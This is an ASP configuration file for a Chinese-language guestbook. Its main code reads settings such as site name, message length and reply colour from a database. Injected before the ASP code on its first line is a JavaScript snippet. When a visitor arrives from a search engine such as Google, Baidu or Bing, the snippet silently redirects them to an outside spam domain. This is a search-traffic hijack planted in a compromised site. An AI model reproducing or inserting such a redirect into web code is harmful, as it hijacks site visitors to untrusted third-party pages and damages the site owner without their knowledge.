d:\wwwroot\wuchunhua\liuyan\board\config.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%
002:    '记录集对象
003:    Set rs = Server.CreateObject("ADODB.RecordSet")
004:
005:    '获取全局设置
006:    sql = "Select * from setting"
007:
008:    '执行查询
009:    rs.Open sql,conn,1,3
010:
011:    '站点名称
012:    sitename = rs("SiteName")
013:
014:    '留言最大长度
015:    maxlength = rs("MaxLength")
016:
017:    '每页显示留言的最大条数
018:    counts = rs("Counts")
019:
020:    '留言主题最大长度
021:    subjectmaxlength = rs("SubjectMaxLength")
022:
023:    '回复留言颜色设置
024:    ReplyColor = rs("ReplyColor")
025:
026:    '关闭记录集，释放对象
027:    rs.Close
028:    Set rs = nothing
029: %>
030:
031:

---